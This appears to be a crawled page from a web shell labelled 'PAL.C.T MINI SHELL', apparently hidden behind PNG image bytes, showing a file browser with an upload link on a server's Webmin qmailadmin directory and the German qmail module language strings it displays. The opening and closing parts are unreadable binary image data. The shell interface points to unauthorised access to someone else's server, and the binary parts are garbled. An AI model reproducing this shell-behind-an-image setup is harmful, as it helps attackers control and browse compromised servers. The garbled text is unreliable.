php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/qmailadmin/lang/
upload
files >> //usr/libexec/webmin/qmailadmin/lang/de

index_title=QMail Konfiguration
index_edir=Das QMail-Verzeichnis $1 existiert nicht. QMail könnte nicht installiert sein, oder dieses Modul könnte falsch <a href='$2'>konfiguriert</a> sein.
index_edir2=Das Verzeichnis $1 scheint nicht das QMail-Verzeichnis zu sein. QMail könnte nicht installiert sein, oder dieses Modul könnte falsch <a href='$2'>konfiguriert</a> sein.
index_return=QMail Konfiguration
index_stop=QMail beenden
index_stopmsg=Klicken Sie hier, um die QMail-Prozesse zu beenden, die zum Verteilen der Mails zuständig sind. Ohne diese Prozesse werden keine Mails mehr verschickt oder angenommen.
index_start=QMail starten
index_startmsg=Klicken Sie hier, um die QMail-Prozesse zu starten, die zum Verteilen der Mails zuständig sind. Ohne diese Prozesse werden keine Mails mehr verschickt oder angenommen.

opts_title=QMail Optionen
opts_me=Lokaler Rechnername
opts_helo=Rechnername für SMTP HELO
opts_toconnect=SMTP Verbindungs-Timeout
opts_secs=Sekunden
opts_toremote=SMTP-Timeout für ausgehende Antwort
opts_bytes=Maximale Mailgröße
opts_unlimited=Unbegrenzt
opts_timeout=SMTP-Timeout für eingehende Daten
opts_localip=Rechnername für Mails an die lokale IP-Adresse
opts_greet=SMTP Begrüßungstext
opts_err=QMail-Optionen konnten nicht gespeichert werden
opts_eme=Ungültiger lokaler Rechnername
opts_etoconnect=Ungültiger Timeout-Wert für SMTP-Verbindung
opts_etoremote=Ungültiger Timeout-Wert für ausgehende Antwort
opts_ebytes=Ungültiger Wert für maximale Mailgröße
opts_etimeout=Ungültiger Timeout-Wert für eingehende Daten
opts_elocalip=Ungültiger Rechnername für Mails an die lokale IP-Adresse

aliases_title=Mail Aliase
aliases_addr=Adresse
aliases_to=Alias an...
aliases_type1=Adresse $1
aliases_type2=Mail-Verzeichnis $1
aliases_type3=Mail-Datei file $1
aliases_type4=Programm $1
aliases_type5=Autoreply-Datei $1
aliases_type6=Filterdatei $1 anwenden
aliases_none=Keine
aliases_return=Alias-Liste
aliases_toomany=Es gibt zu viele Aliase zum Anzeigen.
aliases_go=Finde passende Aliase:
aliases_delete=Lösche ausgewählte Aliase

aform_type0=Keine
aform_type1=Mail-Adresse
aform_type2=Mail-Verzeichnis
aform_type3=Mail-Datei
aform_type4=An Programm weitergeben
aform_type5=Autoreply aus Datei
aform_type6=Filterdatei anwenden
aform_edit=Alias bearbeiten
aform_create=Alias erzeugen
aform_name=Adresse
aform_val=Alias an
aform_afile=Bearbeiten..
aform_novirt=&lt;Alle Domains&gt;
aform_return=alias

asave_err=Alias konnte nicht gespeichert werden
asave_eaddr='$1' ist keine gültige Mailadresse
asave_ealready=Es existiert schon ein Alias für '$1'
asave_etype1='$1' ist keine gültige Mailadresse
asave_etype2='$1' ist kein gültiges Verzeichnis
asave_etype3='$1' ist kein gültiger Dateiname
asave_etype4='$1' ist kein gültiges Programm oder existiert nicht
asave_etype5=Die Autoreply-Datei '$1' ist ungültig
asave_etype4none=Kein Programm angegeben
asave_etype6=Filterdatei '$1' ist ungültig

adelete_err=Fehlgeschlagen Aliase zu löschen
adelete_enone=Nichts ausgewählt

locals_title=Lokale Domains
locals_domains=Lokale Domains für diesen Server
locals_desc=QMail wird die Mails empfangen, die an die Domains und Hostnamen gehen, die in dem Textfeld links aufgelistet sind. Wenn Ihr Mailserver mehrere Domains bedienen soll, tragen Sie hier alle Domains ein.
locals_only=Nur lokaler Rechnername $1
locals_sel=Unten aufgelistete Domains ...

rcpts_title=Akzeptierte Domains
rcpts_domains=Akzeptierte lokale und Weiterleitungs-Domains
rcpts_all=Alle Domains
rcpts_sel=Nur die unten aufgelisteten Domains ...
rcpts_desc=qmail wird nur Mails für die in dem linken Textfeld angegebenen Domains und Rechnernamen akzeptieren. Sie könen auch Platzhalter eingeben, um alle Rechner in der Domain <tt>.foo.com</tt> zu akzeptieren. Wenn Ihr Mailserver Mails für Kunden weiterleiten soll, müssen Sie Mails von allen Domains akzeptieren.
rcpts_domains2=Zusätzliche lokale und Weiterleitungs-Domains
rcpts_desc2=Wenn Sie viele akzeptierte Domains haben, sollten Sie die weniger benutzten in dieses Textfeld eintragen. Generell sollten Sie die ersten 50 Domains im oberen Textfeld eintragen, den Rest hier.

bads_title=»Böse« Adressen
bads_addresses=»Böse« Mailadressen
bads_desc=qmail wird keine Mails von den hier angegebenen Adressen annehmen. Einzelne Adressen können mit <tt>username@domainname</tt> gesperrt werden, ganze Domains mit <tt>@domainname</tt>.

routes_title=Domain-Routing
routes_toomany=Es gibt zu viele Domain-Routen im System, um sie hier anzuzeigen.
routes_go=Finde passende Domain-Routen:
routes_from=Mails für Domain
routes_to=Über diesen Rechner verschicken
routes_direct=Direkt verschicken
routes_defroute=Alle anderen ausgehenden Mails über diesen Rechner verschicken:
routes_return=Domain-Routen
routes_delete=Lösche ausgewählte Domain Routen

rform_edit=Domain-Routen bearbeiten
rform_create=Domain-Route anlegen
rform_from=Mails für Rechner oder Domain
rform_to=Über SMTP-Server verschicken
rform_port=SMTP-Port

rsave_err=Domain-Routen konnten nicht gespeichert werden
rsave_efrom='$1' ist kein gültiger Domainname
rsave_eto='$1' ist kein gültiger SMTP-Server
rsave_eport='$1' ist keine gültige Portnummer

rdelete_err=Fehlgeschlagen Domain-Routen zu löschen

percents_title=%-Adressen
percents_domains=Domains, die %-Adressen unterstützen
percents_desc=Qmail wird Mails in der Form <tt>user%firstdomain@seconddomain</tt> akzeptieren, wenn <tt>seconddomain</tt> im linken Textfeld aufgelistet ist. Nachrichten in diesem Format werden dann an <tt>user@firstdomain</tt> weitergeleitet.

virts_title=Virtuelle Abbildungen
virts_toomany=Es gibt zu viele virtuelle Abbildungen im System, um sie hier anzuzeigen.
virts_go=Finde passende virtuelle Abbildungen:
virts_from=Mails für
virts_prepend=Präfix voranstellen
virts_all=Alle Adressen
virts_none=Nicht virtuell
virts_desc=Virtuelle Abbildungen werden von qmail benutzt, um Mails für verschiedene Domains auf einem Server zu verwalten. Dazu wird dem lokalen Teil der Adresse ein Text vorangestellt, bevor die Mail weiterverarbeitet wird. Sie können virtuelle Domains benutzen, indem Sie eine neue virtuelle Domain anlegen und dann in dieser Domain <a href='$1'>Mail-Aliase</a> anlegen.
virts_return=Virtuelle Domains
virts_delete=Delete Selected Virtual Mappings

vform_edit=Virtuelle Abbildungen bearbeiten
vform_create=Virtuelle Abbildung anlegen
vform_from=Mails für die Adresse
vform_all=Alle Adressen, die zu keiner anderen virtuellen Abbildung passen
vform_domain=Adressen mit der Domain
vform_user=Adresse
vform_to=Dem lokalen Name voranstellen:
vform_none=Nichts
vform_prepend=Dieses Präfix
vform_auto=Automatisch ausgewähltes Präfix

vsave_err=Virtuelle Abbildungen konnten nicht gespeichert werden
vsave_edomain='$1' ist keine gültige Mail-Domain
vsave_euser='$1' ist kein gültiger lokaler Mail-Name
vsave_eprepend='$1' is kein gültiges Präfix
vsave_eboth=Sie können nicht '$vform_all' und '$vform_none' gleichzeitig auswählen

vdelete_err=Failed to delete virtual mappings

stop_err=Der QMail-send-Prozess läuft nicht mehr

log_stop=Stopped qmail processes
log_start=Started qmail processes
log_opts=Changed qmail options
log_alias_create=Created alias $1
log_alias_delete=Delete alias $1
log_alias_modify=Modified alias $1
log_delete_aliases=$1 Aliase gelöscht
log_virt_create=Created virtual mapping $1
log_virt_delete=Deleted virtual mapping $1
log_virt_modify=Modified virtual mapping $1
log_delete_virts=Deleted $1 virtual mappings
log_virtall_create=Created catchall virtual mapping
log_virtall_delete=Deleted catchall virtual mapping
log_virtall_modify=Modified catchall virtual mapping
log_locals=Changed local domains
log_rcpts=Changed accepted domains
log_bads=Changed rejected addresses
log_percents=Changed % address domains
log_route_create=Created route for $1
log_route_delete=Deleted route for $1
log_route_modifed=Modified route for $1
log_delete_routes=$1 Routen gelöscht
log_defroute=Modified default route
log_assign_create=Created mail user $1
log_assign_delete=Deleted mail user $1
log_assign_modifed=Modified mail user $1
log_delete_assigns=$1 Mail-User gelöscht
log_delmail=$1 Nachrichten von $2 gelöscht
log_movemail=$1 Nachrichten von $2 nach $3 verschoben
log_send=E-Mail an $1 versendet

rfile_title=Autoreply-Datei bearbeiten
rfile_desc=Bearbeiten Sie die Autoreply-Nachricht in $1. Die Nachricht darf die Makros $SUBJECT, $FROM, $TO, $DATE und $BODY enthalten, die ausgewertet werden, wenn Autoreply aktiviert ist.
rfile_desc2=You can also set mail headers that add to or replace the defaults used in the autoreply by putting lines like:<br><tt>From: foo@bar.com</tt><br><tt>Subject: On holiday</tt><br>at the top of the message, separated from the body by a single blank line.
rfile_efile=Sie dürfen $1 nicht bearbeiten.
rfile_undo=Änderungen rückgängig machen
rfile_replies=Verfolge Antworten, um Mail-Schleifen zu verhindern?
rfile_none=Nein
rfile_file=Ja, benutze Log Datei
rfile_period=Mindestintervall zwischen Antworten
rfile_default=Standard (1 Stunde)
rfile_secs=Sekunden
rfile_ereplies=Missing reply tracking log file
rfile_eperiod=Fehlende oder ungültige Anzahl von Sekunden zwischen Antworten
rfile_no_autoreply=Sende keine automatische Antworten an
rfile_from=Von: Adresse für Antwort
rfile_auto=Automatisch (basierend auf Empfänger-Adresse)
rfile_efrom=Fehlenden "From:" Adresse
rfile_fromdesc=A From: address should always be specified where possible, as the automatic method may not be reliable.

ffile_title=Filterdatei bearbeiten
ffile_desc=Benutzen Sie das Textfeld unten, um Filterregeln in der Datei $1 einzurichten.
ffile_efile=Sie dürfen $1 nicht bearbeiten.
ffile_line=Wenn das Feld $1 $2 $3 ist, weiterleiten an $4
ffile_from=Absender
ffile_to=Empfänger
ffile_subject=Betreff
ffile_cc=CC
ffile_body=Nachricht
ffile_what0=nicht zutrifft
ffile_what1=zutrifft
ffile_other=Sonst an $1 weiterleiten
ffile_err=Filterdatei konnte nicht gespeichert werden.
ffile_ematch=???Missing match???
ffile_eaction=Weiterleitungsadresse fehlt

queue_title=Wartende Mails
queue_count=$1 Nachrichten
queue_none=Im Moment warten keine Nachrichten darauf, verschickt zu werden.
queue_id=Mail-ID
queue_date=gesendet
queue_from=Absender
queue_to=Empfänger
queue_cc=CC
queue_subject=Betreff
queue_return=wartenden Mails
queue_delete=Ausgewählte Nachrichten löschen
queue_all=Alle auswählen
queue_invert=Auswahl umkehren
queue_refresh=Aktualisiere Mail-Warteschlange
queue_refreshdesc=Lade diese Seite erneut, um den aktuellen Stand der Mail-Warteschlange zu zeigen.

qview_title=Warteschlange Nachricht
qview_desc=Von Datei $1
qview_headers=E-Mail-Header
qview_attach=Anhänge

assigns_title=Mailbenutzer-Zuweisungen
assigns_return=Mailbenutzer-Zuweisungen
assigns_toomany=Es gibt zu viele Mailbenutzer im System, um sie hier anzuzeigen.
assigns_go=Finde passende Mailbenutzer-Zuweisungen:
assigns_address=Mails an die Adresse
assigns_user=Unixbenutzer
assigns_uid=UID
assigns_gid=GID
assigns_home=Home-Verzeichnis
assigns_desc=Mit Mailbenutzer-Zuweisungen können Sie Mailboxen für Benutzer einrichten, die nicht in der Unix-Benutzerliste stehen. Jede Zuweisung verteilt die Mails an einen Benutzer, so als ob sie an die Mailbox eines echten Unix-Benutzers verteilt würden.
assigns_delete=Lösche ausgewählte Mail-User

sform_edit=Mailbenutzer bearbeiten
sform_create=Mailbenutzer anlegen
sform_address=Benutzername in der Adresse
sform_mode0=Exakter Benutzername
sform_mode1=Benutzernamen, die beginnen mit
sform_user=Unix-Benutzer
sform_uid=UID
sform_gid=GID
sform_home=Verzeichnis

ssave_err=Mailbenutzer konnte nicht gespeichert werden
ssave_eaddress=Fehlender oder ungültiger Benutzername in der Adresse
ssave_euser=Fehlender oder ungültiger Unix-Benutzer
ssave_euid=Fehlende oder ungültige UID
ssave_egid=Fehlende oder ungültige GID
ssave_ehome=Fehlendes oder ungültiges Verzeichnis

sdelete_err=Fehlgeschlagen Mail-User zu löschen

delete_egone=Die wartenden Nachrichten existieren nicht mehr
delete_ebogus=Ungültige Warteschlange Dateiname

boxes_title=Benutzer-Mailboxen
boxes_user=Benutzer
boxes_size=Mailboxgröße
boxes_none=Keine Mail
boxes_return=Mailboxen
boxes_sent=Gesendete Mail
boxes_ecannot=Sie sind nicht berechtigt E-Mail zu lesen
boxes_toomany=Es sind zu viele Benutzer auf Ihrem System um alle ihre Mailboxen aufzulisten.
boxes_go=Zeige Mail für Benutzer:

mail_title=Benutzer E-Mail
mail_from=Von
mail_date=Datum
mail_subject=Betreff
mail_to=An
mail_cc=CC
mail_bcc=BCC
mail_pri=Priorität
mail_highest=Höchste
mail_high=Hoch
mail_normal=Normal
mail_low=Niedrig
mail_lowest=Niedrigste
mail_for=In $1
mail_for2=Für Benutzer $1
mail_sent=In Gesendet Mail-Liste
mail_size=Größe
mail_delete=Löschen
mail_compose=Erstellen
mail_return=Benutzer Mailbox
mail_pos=Nachricht $1 bis $2 von $3
mail_none=Diese Mailbox hat keine Nachrichten
mail_ecannot=Sie sind nicht berechtigt Benutzer-E-Mails zu lesen
mail_all=Alles auswählen
mail_invert=Invertiere Auswahl
mail_search=Finde Nachricht inden
mail_body=Nachricht
mail_match=entspricht
mail_ok=Suchen
mail_nonefrom=Nichts
mail_mark=Markieren als:
mail_mark0=Ungelesen
mail_mark1=Gelesen
mail_mark2=Speziell
mail_forward=Weiterleiten
mail_rfc=Von Zeile
mail_move=Verschieben nach:
mail_eexists=Nachricht existiert nicht länger!

view_title=Nachrichten in der Warteschlange
view_desc=Aus Datei $1
view_desc2=Nachricht $1 für Benutzer $2
view_desc3=Nachricht $1
view_sent=Message $1 in sent mail list
view_qdesc=In Warteschlange gestellte Nachricht $1
view_headers=Mail-Header
view_allheaders=Zeige alle Kopfzeilen
view_noheaders=Zeige grundlegende Kopfzeilen
view_attach=Anhänge
view_reply=Antwort
view_reply2=Antwort an alle
view_enew=Editiere als neu
view_forward=Weiterleiten
view_delete=Löschen
view_strip=Lösche Anhänge
view_ecannot=Sie sind nicht berechtigt Benutzer-E-Mails zu lesen
view_mark=Markiere Nachricht als:
view_mark0=Ungelesen
view_mark1=Gelesen
view_mark2=Speziell
view_return=original E-Mail
view_sub=Angehängte E-Mail

compose_title=Erstelle E-Mail
reply_title=Antworte auf E-Mail
forward_title=Leite E-Mail weiter
enew_title=Editiere E-Mail
reply_headers=E-Mail-Header
reply_attach=Weitergeleitete Anhänge
reply_mailforward=Weitergeleitete Nachrichten
reply_attach2=Client- und serverseitige Anhänge
reply_send=Sende Mail
reply_ecannot=Sie sind nicht berechtigt E-Mail an diesen Benutzer zu senden

send_err=Fehlgeschlagen Mail zu senden
send_eto=Fehlende To Adresse
send_efrom=Fehlende "From" Adressen
send_title=E-Mail verschickt
send_ok=Mail erfolgreich an $1 gesendet
send_ecannot=Sie sind nicht berechtigt, E-Mail als dieser Benutzer zu senden
send_esmtp=SMTP Befehl $1 fehlgeschlagen : $2
send_efile=Angehängte Datei $1 existiert nicht
send_eattach=Dateianhänge können insgesamt nicht mehr als $1 kB groß sein.
send_eperms=Benutzer $1 kann nicht $2 lesen
send_eperms2=Sie sind nicht berechtigt, Datei $1 zu verschicken
send_epath=Ausführbare Sendmail Datei $1 existiert nicht.

delete_title=Lösche E-Mail
delete_rusure=Sind Sie sicher, dass Sie die $1 ausgewählten Nachrichten von $2 löschen möchten? Dies kann einige Zeit bei einer großen Mail-Datei dauern. Bis das Löschen beendet ist, sollte keine weitere Aktion durchgeführt werden.
delete_rusure2=Sind Sie sicher, dass Sie diese Nachricht von $1 löschen möchten? Dies kann einige Zeit bei einer großen Mail-Datei dauern. Bis das Löschen beendet ist, sollte keine weitere Aktion durchgeführt werden.
delete_ok=Lösche jetzt
delete_ecannot=Sie sind nicht berechtigt E-Mail von diesem Benutzer zu löschen
delete_enone=Keine E-Mail zum löschen ausgewählt
delete_emnone=Keine Mail ausgewählt, um zu kennzeichnen
delete_nobutton=Kein Knopf gedrückt

search_title=Suchresultate
search_ecannot=Sie sind nicht berechtigt diesen Mail-User zu durchsuchen
search_ematch=You must enter text to match against.
search_efield=Sie müssen ein Suchtyp auswählen.
search_none=Keine Nachrichten gefunden.
search_results2=$1 mail messages matching $2 ..
search_results3=$1 mail messages not matching $2 ..

match_from=Von: entspricht
match_subject=Betreff: entspricht
match_to=An: entspricht
match_cc=Cc: entspricht
match_date=Datum: entspricht
match_body=Textkörper entspricht
match_size=Größe ist größer als
match_headers=Header entspricht
match_=-----------------
match_!from=Von: entspricht nicht
match_!subject=Betreff: entspricht nicht
match_!to=A: entspricht nicht
match_!cc=Cc: entspricht nicht
match_!date=Datum: entspricht nicht
match_!body=Textkörper entspricht nicht
match_!size=Größe ist kleiner als
match_!headers=Header entspricht nicht

delq_titles=Lösche Nachrichten
delq_rusure=Sind Sie sicher, dass Sie die $1 ausgewählten Nachrichten in der Warteschlange löschen möchten?
delq_confirm=Lösche Nachrichten
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`